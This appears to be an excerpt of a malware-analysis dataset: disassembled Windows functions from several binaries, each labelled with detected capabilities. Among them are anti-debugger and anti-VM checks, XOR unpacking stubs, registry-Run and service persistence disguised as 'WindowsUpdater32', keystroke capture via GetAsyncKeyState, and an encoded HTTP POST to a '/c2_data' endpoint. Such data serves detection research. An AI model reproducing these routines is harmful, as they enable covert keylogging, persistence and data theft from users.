joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40e072
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42a364]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00408036
and dword [ebp - 0x14], 0
cmp dword [0x436a8c], 0
mov dword [ebp - 0x18], eax
jne 0x40e125
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40e1cd
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40e1cd
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x436a8c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x436a90], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x436a94], eax
call edi
push eax
call esi
mov dword [0x436a9c], eax
test eax, eax
je 0x40e125
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x436a98], eax
mov eax, dword [0x436a98]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40e17e
cmp dword [0x436a9c], ecx
je 0x40e17e
push eax
call esi
push dword [0x436a9c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40e17e
test ebx, ebx
je 0x40e17e
call edi
test eax, eax
je 0x40e175
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40e175
test byte [ebp - 8], 1
jne 0x40e17e
or dword [ebp + 0x10], 0x200000
jmp 0x40e1b1
mov eax, dword [0x436a90]
cmp eax, dword [ebp - 0x18]
je 0x40e1b1
push eax
call esi
test eax, eax
je 0x40e1b1
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40e1b1
mov eax, dword [0x436a94]
cmp eax, dword [ebp - 0x18]
je 0x40e1b1
push eax
call esi
test eax, eax
je 0x40e1b1
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x436a8c]
call esi
test eax, eax
je 0x40e1cd
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40e1cf
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00405299
leave
ret
Function at 0x409888
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40995b
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x409974
push ebx
push 0x409980
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.004033b4
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.0040277c
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x409908
mov al, 0x62
call fcn.00409460
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.0040985c
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
dec eax
je 0x409911
call fcn.0040985c
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409962
lea eax, [ebp - 4]
call fcn.00403198
ret

Function at 0x409a14
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409ac8
jmp 0x409abd
cmp dword [esi + 0x10], 0x1000
jne 0x409aa9
test byte [esi + 0x15], 1
jne 0x409aa9
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409a68
cmp eax, 2
je 0x409a68
cmp eax, 0x10
je 0x409a68
cmp eax, 0x20
jne 0x409a7d
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409a7d
mov bl, 1
xor ebp, ebp
jmp 0x409a8e
mov eax, dword [esi]
add eax, ebp
call fcn.00409a0c
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x409a81
test bl, bl
je 0x409aa9
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409ac8
mov eax, dword [esi + 4]
cmp eax, edi
je 0x409a40
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x430000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
pop eax
nop
nop
nop
add eax, reloc.advapi32.dll_RegEnumKeyW
nop
sub eax, 0x403d50
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
popal
nop
nop
nop
nop
jmp int.00401219
Function at 0xff79ac
Capabilities:
Encode data using xor

Disassembly:
jmp 0xff79b6
pushal
call 0xff79bc
pop ebp
sub ebp, 0x10
sub ebp, 0xbf79ac
jmp 0xff79d2
mov eax, 0xbf79ac
add eax, ebp
add eax, 0x4c
mov ecx, 0x5be
mov edx, 0x43598125
xor byte [eax], dl
inc eax
dec ecx
jne 0xff79e9
jmp 0xff79fc
scasb al, byte es:[edi]
call 0x261926b0
and eax, 0xdde4a425
and eax, 0xe8262525
popfd
and dword [0xd9f2525], esp
and eax, 0xc7d22525
in eax, dx
scasb al, byte es:[edi]
movsb byte es:[edi], byte [esi]
sub dword [0xe0262525], esp
jne 0xff7a99
dec ebp
mov ebp, 0x4d250713
xor al, 0x66
mov eax, 0x1092425
dec ebp
or esp, esp
xchg edx, eax
mov cl, 0xcd
and byte [0xbcc2525], ah
and eax, 0x41a82525
add ecx, ebx
lodsb al, byte [esi]
or dword [ecx], eax
scasb al, byte es:[edi]
leave
scasb al, byte es:[edi]
mov al, byte [0x2525252d]
scasb al, byte es:[edi]
mov al, 0x29
and eax, 0xa8ae2525
xor eax, 0xe4252525
int3
add dword [eax - 0x25dafeb7], ebp
push eax
sub edx, ebx
push eax
sub eax, 0x252549cd
and eax, 0x252d98ae
and eax, 0x16ec1625
mul dword [esi + 0x2a6d20cd]
mov eax, dword [0x2525256b]
sub ch, byte [ebp + 0x2525256d]
inc ebx
scasb al, byte es:[edi]
cmp dword [0xa12acdde], ebx
aas
and eax, 0xdea52525
int3
Function at 0x41fb6c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42b520]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00416e52
and dword [ebp - 0x14], 0
cmp dword [0x46d558], 0
mov dword [ebp - 0x18], eax
jne 0x41fc1f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41fcc7
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x41fcc7
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x46d558], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x46d55c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x46d560], eax
call edi
push eax
call esi
mov dword [0x46d568], eax
test eax, eax
je 0x41fc1f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x46d564], eax
mov eax, dword [0x46d564]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x41fc78
cmp dword [0x46d568], ecx
je 0x41fc78
push eax
call esi
push dword [0x46d568]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x41fc78
test ebx, ebx
je 0x41fc78
call edi
test eax, eax
je 0x41fc6f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41fc6f
test byte [ebp - 8], 1
jne 0x41fc78
or dword [ebp + 0x10], 0x200000
jmp 0x41fcab
mov eax, dword [0x46d55c]
cmp eax, dword [ebp - 0x18]
je 0x41fcab
push eax
call esi
test eax, eax
je 0x41fcab
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41fcab
mov eax, dword [0x46d560]
cmp eax, dword [ebp - 0x18]
je 0x41fcab
push eax
call esi
test eax, eax
je 0x41fcab
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x46d558]
call esi
test eax, eax
je 0x41fcc7
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x41fcc9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004113cb
leave
ret

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
mov ecx, 0x3e1f291a
nop
nop
nop
nop
test eax, eax
nop
je 0x43204e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x432024
nop
mov eax, section..reloc
nop
nop
mov ebx, 0x42f314
nop
mov ecx, 0x7f6555c4
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x432084
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43206c
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
pop eax
nop
nop
nop
nop
nop
add eax, 0x403daa
nop
nop
sub eax, 0x403d50
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp fcn.00401219

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
pop eax
nop
nop
nop
nop
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x42e01e
nop
popal
nop
nop
nop
nop
jmp loc.00401219
Function at 0x401064
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor esi, esi
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x401088
inc esi
jmp 0x401104
push esi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x40110f
lea eax, [ebp - 0x130]
mov dword [ebp - 0x130], 0x128
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
jmp 0x4010f0
lea eax, [ebp - 0x10c]
push str.OLLYDBG.EXE
push eax
call dword [sym.imp.VCRUNTIME140.dll_strstr]
pop ecx
pop ecx
test eax, eax
jne 0x4010f6
lea eax, [ebp - 0x10c]
push str.x64dbg.exe
push eax
call dword [sym.imp.VCRUNTIME140.dll_strstr]
pop ecx
pop ecx
test eax, eax
jne 0x4010f6
lea eax, [ebp - 0x130]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x4010b2
jmp 0x4010f9
xor esi, esi
inc esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x40110f
push str.Go_fuck_yourself__n
call fcn.00401006
pop ecx
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.00401841
leave
ret

Function at 0x40111f
Capabilities:
Enumerate process modules

Disassembly:
mov eax, 0x112c
call fcn.00402700
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x1128], eax
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x10]
mov dword [esp + 0x18], str.vmware.exe
push eax
push 0x1000
lea eax, [esp + 0x3c]
mov dword [esp + 0x24], str.vboxservice.exe
push eax
mov dword [esp + 0x2c], str.vboxtray.exe
mov dword [esp + 0x30], str.vmtoolsd.exe
mov dword [esp + 0x34], str.vmcompute.exe
mov dword [esp + 0x38], str.vmmem.exe
call dword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
je 0x401241
mov ebx, dword [esp + 0x10]
xor ebp, ebp
shr ebx, 2
test ebx, ebx
je 0x401241
cmp dword [esp + ebp*4 + 0x34], 0
je 0x401238
mov esi, str._unknown_
lea edi, [esp + 0x1034]
push 0xfa
lea eax, [esp + 0x1042]
push 0
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push dword [esp + ebp*4 + 0x34]
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x401211
lea eax, [esp + 0x30]
push eax
push 4
lea eax, [esp + 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_K32EnumProcessModules]
test eax, eax
je 0x401211
push 0x104
lea eax, [esp + 0x1038]
push eax
push dword [esp + 0x1c]
push esi
call dword [sym.imp.KERNEL32.dll_K32GetModuleBaseNameA]
xor edi, edi
push dword [esp + edi*4 + 0x18]
lea eax, [esp + 0x1038]
push eax
call dword [sym.imp.VCRUNTIME140.dll_strstr]
pop ecx
pop ecx
test eax, eax
jne 0x40125c
inc edi
cmp edi, 6
jb 0x401213
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebp
cmp ebp, ebx
jb 0x401199
xor eax, eax
mov ecx, dword [esp + 0x1138]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00401841
add esp, 0x112c
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
inc eax
jmp 0x401243
Function at 0x401268
Capabilities:
Connect to http server
Create http request
Encode data using xor
Send data
Send http request

Disassembly:
sub esp, 0x4a4
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x49c], eax
push ebx
push ebp
push esi
push edi
call fcn.00401064
test eax, eax
jne 0x4013e0
call fcn.0040111f
test eax, eax
jne 0x4013e0
xor ebx, ebx
push ebx
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
mov dword [esp + 0x18], esi
test esi, esi
je 0x4013c1
push ebx
push ebx
push 3
pop eax
push eax
push ebx
push ebx
push 0x1bb
push str.domain.com
push esi
mov dword [esp + 0x3c], eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, eax
test edi, edi
je 0x4013bc
xor eax, eax
push eax
push 0x800000
push eax
push eax
push eax
push str._c2_data
push str.POST
push edi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov ebp, eax
test ebp, ebp
je 0x4013b9
push 0
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
pop ecx
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
pop ecx
push 3
xor ebx, ebx
pop esi
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
push 0x1a
cdq
pop ecx
idiv ecx
add dl, 0x41
mov byte [esp + ebx + 0x14], dl
inc ebx
cmp ebx, esi
jl 0x40131f
push 0x405400
mov byte [esp + 0x1b], 0
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strlen]
mov esi, dword [esp + 0x1c]
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
pop ecx
xor ecx, ecx
mov dword [esp + 0x20], eax
test eax, eax
jle 0x40137b
mov ebx, eax
xor edx, edx
mov eax, ecx
div dword [esp + 0x1c]
mov al, byte [esp + edx + 0x14]
xor byte [ecx + 0x405400], al
inc ecx
cmp ecx, ebx
jl 0x40135e
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
lea eax, [esp + 0x14]
push eax
push 0x405400
lea eax, [esp + 0x30]
push str._content_:__s___key_:__s_
push eax
call fcn.00401032
lea eax, [esp + 0x38]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strlen]
add esp, 0x14
push eax
lea eax, [esp + 0x2c]
push eax
push 0xffffffffffffffff
push str.Content_Type:_application_json_r_nUser_Agent:_TLD9Browser_5.0
push ebp
call dword [sym.imp.WININET.dll_HttpSendRequestA]
push ebp
call ebx
push edi
call ebx
push esi
call ebx
xor ebx, ebx
mov esi, 0x4053e0
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push esi
mov dword [0x4053c0], ebx
mov byte [0x405400], bl
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [esp + 0x4ac]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00401841
add esp, 0x4a4
ret
Function at 0x4016a5
Capabilities:
Create service
Persist via run registry key
Persist via windows service
Set file attributes
Set registry value

Disassembly:
sub esp, 0x118
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x114], eax
push ebx
push ebp
push esi
push edi
push 0x104
lea eax, [esp + 0x24]
xor esi, esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 2
pop edi
push edi
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [esp + 0x10]
mov ebx, 0x20006
push eax
push ebx
push esi
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced
mov ebp, 0x80000001
push ebp
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 4
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push eax
push 4
push esi
push str.Hidden
push dword [esp + 0x24]
call edi
push dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call esi
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x18]
push eax
push 0
push ebx
xor ebx, ebx
push ebx
push ebx
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push ebp
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strlen]
pop ecx
push eax
lea eax, [esp + 0x24]
mov ebp, str.WindowsUpdater32
push eax
push 1
push ebx
push ebp
push dword [esp + 0x28]
call edi
push dword [esp + 0x14]
call esi
push 2
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x4017c3
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [esp + 0x34]
push eax
push 1
push 2
push 0x10
push 0xf01ff
push str.Updater
push ebp
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test eax, eax
jne 0x4017bd
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Service_creation_failed._Error:__ld_n
call fcn.00401006
pop ecx
pop ecx
jmp 0x4017c0
push eax
call esi
push edi
call esi
mov ecx, dword [esp + 0x124]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00401841
add esp, 0x118
ret

Function at 0x4017dc
Capabilities:
Create thread

Disassembly:
push ecx
push esi
push edi
call fcn.004016a5
push str.GetAsyncKeyState
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, 0x4053e0
mov dword [0x4053f8], eax
push edi
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea eax, [esp + 8]
push eax
xor eax, eax
push eax
push eax
push 0x4013f9
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor eax, eax
pop esi
pop ecx
ret
Function at 0x40211f
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40215e
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40215e
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40215e
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40215e
cmp dword [ecx + 0x74], 0xe
jbe 0x40215e
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x420492
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00420134

Function at 0x42049d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004202c3

Function at 0x420897
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.0040d920
mov eax, dword [0x4d89c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0041e063
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x4208d9
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x420a35
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00429330
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x4db360]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.00421636
mov ecx, dword [esi*4 + 0x4db360]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x420a2e
cmp eax, dword [edi + ecx + 0x24]
jne 0x420a2e
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x420a2e
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00421636
add esp, 0x14
test edx, edx
jl 0x420a2e
jg 0x4209a4
test eax, eax
jb 0x420a2e
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x420a2e
jl 0x4209be
cmp dword [ebp - 0x1008], eax
ja 0x420a2e
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x4209dc
test ebx, ebx
je 0x420a15
cmp ecx, edi
jae 0x420a15
mov al, byte [ecx]
cmp al, 0xd
jne 0x4209f6
lea eax, [edi - 1]
cmp ecx, eax
jae 0x420a02
cmp byte [ecx + 1], 0xa
jne 0x420a02
inc ecx
jmp 0x420a02
movzx eax, al
movsx eax, byte [eax + 0x4d8c88]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x4209dc
cmp edx, ebx
jne 0x4209dc
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x420a33
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0040cd03
leave
ret